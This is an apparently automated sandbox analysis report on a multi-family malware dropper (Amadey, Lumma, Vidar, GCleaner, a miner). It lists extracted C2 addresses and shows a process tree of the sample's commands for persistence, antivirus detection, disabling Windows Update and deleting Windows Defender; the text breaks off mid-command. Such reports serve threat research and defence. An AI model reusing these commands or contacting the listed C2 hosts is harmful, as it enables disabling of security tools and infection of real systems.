Overview

overview

10

Static

static

3

random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    19s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250610-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/09/2025, 09:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    random.exe
  • Size 4.0MB
  • Sample250905-k2jcdavjs8
  • SHA256 a26b584f55654d8a4a47744fdcdc01d19f86bfabf4bcb0f2305700d1600758ab
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
fbf543defense_evasiondiscoveryexecutionamadeygcleanerlummavidarloaderminerpersistencepyinstallerstealertrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 5.55

Botnet

  • fbf543

C2

  • http://94.154.35.25

Attributes
  • install_dir

    96a319e745

  • install_file

    Srxelqcif.exe

  • strings_key

    f8bfac017914b836f3106c5bcd0878fe

  • url_paths

    /di9ku38f/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://marvelvod.com/uqia

  • https://mastwin.in/qsaz

  • https://digitbasket.com/pqox

  • https://voando26.com/iwnn

  • https://iaed.link/ndbh

  • https://pyscalp.com/iqop

  • https://lzh.fr/mnsn

  • https://streamin.style/iqzb

  • https://phoenix-brands.dev/qyzb

  • https://backab.ru/lkdo

  • https://noggs.ru/yopd

  • https://georgej.ru/plnb

  • https://oneflof.ru/tids

  • https://epitherd.ru/zadw

  • https://eigwos.ru/wqex

  • https://kimmenkiz.ru/zldw

Attributes
  • build_id

    f0fed4000ceefe41f492879c0c6dbc398015d207

Extracted

Family

  • gcleaner

C2

  • 185.156.73.98

  • 45.91.200.135

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 6 IoCs
    stealer
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Downloads MZ/PE file 7 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

    miner
  • Drops startup file 2 IoCs
  • Executes dropped EXE 15 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 9 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 17 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 10 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3396
      • C:\Users\Admin\AppData\Local\Temp\random.exe
        "C:\Users\Admin\AppData\Local\Temp\random.exe"
        2⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1860
        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe
          C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1496
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
              5⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:112
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2832
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
              5⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:2196
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4004
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
              5⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:3936
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2504
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
              5⤵
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:60
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3680
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
              5⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:2192
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2064
            • C:\Windows\SysWOW64\icacls.exe
              icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
              5⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:896
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe" -StartupType Automatic"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4756
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe" -StartupType Automatic"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2848
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c net start "DownloaderService"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3488
            • C:\Windows\SysWOW64\net.exe
              net start "DownloaderService"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4128
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start "DownloaderService"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4696
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1856
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
              5⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:4836
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c start "" "C:\Windows\winloghelper.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3172
            • C:\Windows\winloghelper.exe
              "C:\Windows\winloghelper.exe"
              5⤵
              • Downloads MZ/PE file
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:584
              • C:\Users\Admin\AppData\Local\Temp\10638940101\jsHOZtE.exe
                "C:\Users\Admin\AppData\Local\Temp\10638940101\jsHOZtE.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in Windows directory
                PID:2820
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c cmd < Consumption.mpg
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:2692
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1256
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      9⤵
                      • Enumerates processes with tasklist
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1724
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr "SophosHealth nsWscSvc ekrn bdservicehost AvastUI AVGUI & if not errorlevel 1 Set VcemUzYFjzvWJZKV=AutoIt3.exe & Set KHCvZODCZUGRZYlRB=.a3x & Set avNcKqRAVpYVrstgbSoJDPjpkOafmwQxLV=300
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:2276
                    • C:\Windows\SysWOW64\extrac32.exe
                      extrac32 /Y Helen.mpg *.*
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:928
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /V "should" Memories
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:2968
                    • C:\Users\Admin\AppData\Local\Temp\195493\Hughes.pif
                      Hughes.pif i
                      9⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2848
              • C:\Users\Admin\AppData\Local\Temp\10643820101\50887f2e70.exe
                "C:\Users\Admin\AppData\Local\Temp\10643820101\50887f2e70.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:1724
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  7⤵
                    PID:5548
                • C:\Users\Admin\AppData\Local\Temp\10643840101\VdgCdQx.exe
                  "C:\Users\Admin\AppData\Local\Temp\10643840101\VdgCdQx.exe"
                  6⤵
                    PID:4652
                  • C:\Users\Admin\AppData\Local\Temp\10643850101\v3434.exe
                    "C:\Users\Admin\AppData\Local\Temp\10643850101\v3434.exe"
                    6⤵
                      PID:5628
                      • C:\Users\Admin\AppData\Local\Temp\10643850101\v3434.exe
                        "C:\Users\Admin\AppData\Local\Temp\10643850101\v3434.exe"
                        7⤵
                          PID:5556
                      • C:\Users\Admin\AppData\Local\Temp\10643860101\sQNHMrP.exe
                        "C:\Users\Admin\AppData\Local\Temp\10643860101\sQNHMrP.exe"
                        6⤵
                          PID:1764
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                              PID:5976
                          • C:\Users\Admin\AppData\Local\Temp\10643870101\PsCMIRi.exe
                            "C:\Users\Admin\AppData\Local\Temp\10643870101\PsCMIRi.exe"
                            6⤵
                              PID:5880
                            • C:\Users\Admin\AppData\Local\Temp\10643880101\0srAxLR.exe
                              "C:\Users\Admin\AppData\Local\Temp\10643880101\0srAxLR.exe"
                              6⤵
                                PID:5244
                                • C:\Users\Admin\AppData\Local\Temp\10643880101\0srAxLR.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10643880101\0srAxLR.exe"
                                  7⤵
                                    PID:4832
                                    • C:\Windows\SYSTEM32\attrib.exe
                                      attrib +h C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache
                                      8⤵
                                      • Views/modifies file attributes
                                      PID:4380
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache\sysmonitor.exe"
                                      8⤵
                                        PID:4312
                                        • C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache\sysmonitor.exe
                                          C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache\sysmonitor.exe
                                          9⤵
                                            PID:5140
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tasklist"
                                          8⤵
                                            PID:3288
                                            • C:\Windows\system32\tasklist.exe
                                              tasklist
                                              9⤵
                                              • Enumerates processes with tasklist
                                              PID:840
                                      • C:\Users\Admin\AppData\Local\Temp\10643890101\xO50QoO.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10643890101\xO50QoO.exe"
                                        6⤵
                                          PID:5720
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "cmd.exe" /c start "" "C:\Windows\systemhelper.exe"
                                      4⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:5040
                                      • C:\Windows\systemhelper.exe
                                        "C:\Windows\systemhelper.exe"
                                        5⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:3540
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kyDU0As.bat" "
                                          6⤵
                                            PID:2608
                                            • C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
                                              nircmd win min process "cmd.exe"
                                              7⤵
                                              • Executes dropped EXE
                                              PID:4948
                                            • C:\Windows\SysWOW64\chcp.com
                                              chcp 65001
                                              7⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:4604
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg query "HKU\S-1-5-19"
                                              7⤵
                                                PID:732
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                • Modifies data under HKEY_USERS
                                                PID:2220
                                              • C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
                                                NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\kyDU0As.bat" any_word
                                                7⤵
                                                • Executes dropped EXE
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:4468
                                              • C:\Windows\SysWOW64\mode.com
                                                Mode 79,49
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3884
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c ver
                                                7⤵
                                                  PID:1888
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                                                  7⤵
                                                    PID:4528
                                                  • C:\Windows\SysWOW64\find.exe
                                                    find /i "0x0"
                                                    7⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2468
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c tasklist
                                                    7⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2140
                                                    • C:\Windows\SysWOW64\tasklist.exe
                                                      tasklist
                                                      8⤵
                                                      • Enumerates processes with tasklist
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:1632
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                                                    7⤵
                                                      PID:4004
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2428
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                                                      7⤵
                                                        PID:2500
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg query "HKLM\System\CurrentControlSet\Services\Sense"
                                                        7⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1364
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                                                        7⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3588
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                                                        7⤵
                                                          PID:3448
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4448
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4116
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:3052
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:64
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:820
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                                                          7⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1580
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                                                          7⤵
                                                            PID:944
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                                            7⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4472
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                                            7⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:5048
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                                            7⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4496
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /S /D /c" ver "
                                                            7⤵
                                                              PID:4224
                                                            • C:\Windows\SysWOW64\findstr.exe
                                                              findstr /c:"6.1.7601"
                                                              7⤵
                                                                PID:4188
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                                                7⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4184
                                                              • C:\Windows\SysWOW64\find.exe
                                                                find /i "Windows 7"
                                                                7⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4948
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg query HKLM\System\CurrentControlset\Services\WdFilter
                                                                7⤵
                                                                • System Location Discovery: System Language Discovery
                                                                • Modifies registry key
                                                                PID:4920
                                                              • C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                                                                7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
                                                                7⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4144
                                                              • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                                                game.exe /CurrentDiskSize
                                                                7⤵
                                                                • Checks computer location settings
                                                                • Executes dropped EXE
                                                                PID:4888
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                  8⤵
                                                                    PID:3752
                                                                    • C:\Windows\system32\sc.exe
                                                                      sc query IObitUnlocker
                                                                      9⤵
                                                                      • Launches sc.exe
                                                                      PID:4392
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4888"
                                                                    8⤵
                                                                      PID:1352
                                                                      • C:\Windows\system32\taskkill.exe
                                                                        taskkill /f /pid "4888"
                                                                        9⤵
                                                                        • Kills process with taskkill
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:4944
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc stop wuauserv
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2468
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config wuauserv start= disabled
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:5096
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc stop dosvc
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4268
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config dosvc start= disabled
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4064
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc stop bits
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4328
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config bits start= disabled
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2892
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc stop UsoSvc
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    PID:1624
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config UsoSvc start= disabled
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    PID:3332
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc stop WaaSMedicSvc
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    PID:2808
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc config WaaSMedicSvc start= disabled
                                                                    7⤵
                                                                    • Launches sc.exe
                                                                    PID:4380
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                                                    7⤵
                                                                      PID:4932
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                                                      7⤵
                                                                        PID:2020
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                                                        7⤵
                                                                          PID:2644
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                                                          7⤵
                                                                            PID:2064
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                                                            7⤵
                                                                              PID:3280
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                                                              7⤵
                                                                                PID:1380
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                                                                7⤵
                                                                                  PID:1872
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg unload HKLM\TEMP_SYSTEM
                                                                                  7⤵
                                                                                    PID:4956
                                                                                  • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                                                                    game /delwd
                                                                                    7⤵
                                                                                      PID:1692
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                        8⤵
                                                                                          PID:3588
                                                                                          • C:\Windows\system32\sc.exe
                                                                                            sc query IObitUnlocker
                                                                                            9⤵
                                                                                            • Launches sc.exe
                                                                                            PID:2388
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                          8⤵
                                                                                            PID:820
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              sc stop IObitUnlocker
                                                                                              9⤵
                                                                                              • Launches sc.exe
                                                                                              PID:4472
                                                                                            • C:\Windows\system32\sc.exe
                                                                                              sc delete IObitUnlocker
                                                                                              9⤵
                                                                                              • Launches sc.exe
                                                                                              PID:5048
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1692"
                                                                                            8⤵
                                                                                              PID:4016
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /f /pid "1692"
                                                                                                9⤵
                                                                                                • Kills process with taskkill
                                                                                                PID:984
                                                                                          • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                                                                            game /DelWD
                                                                                            7⤵
                                                                                              PID:1728
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                                                                                8⤵
                                                                                                  PID:2488
                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                    sc query IObitUnlocker
                                                                                                    9⤵
                                                                                                    • Launches sc.exe
                                                                                                    PID:1824
                                                                                                • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl 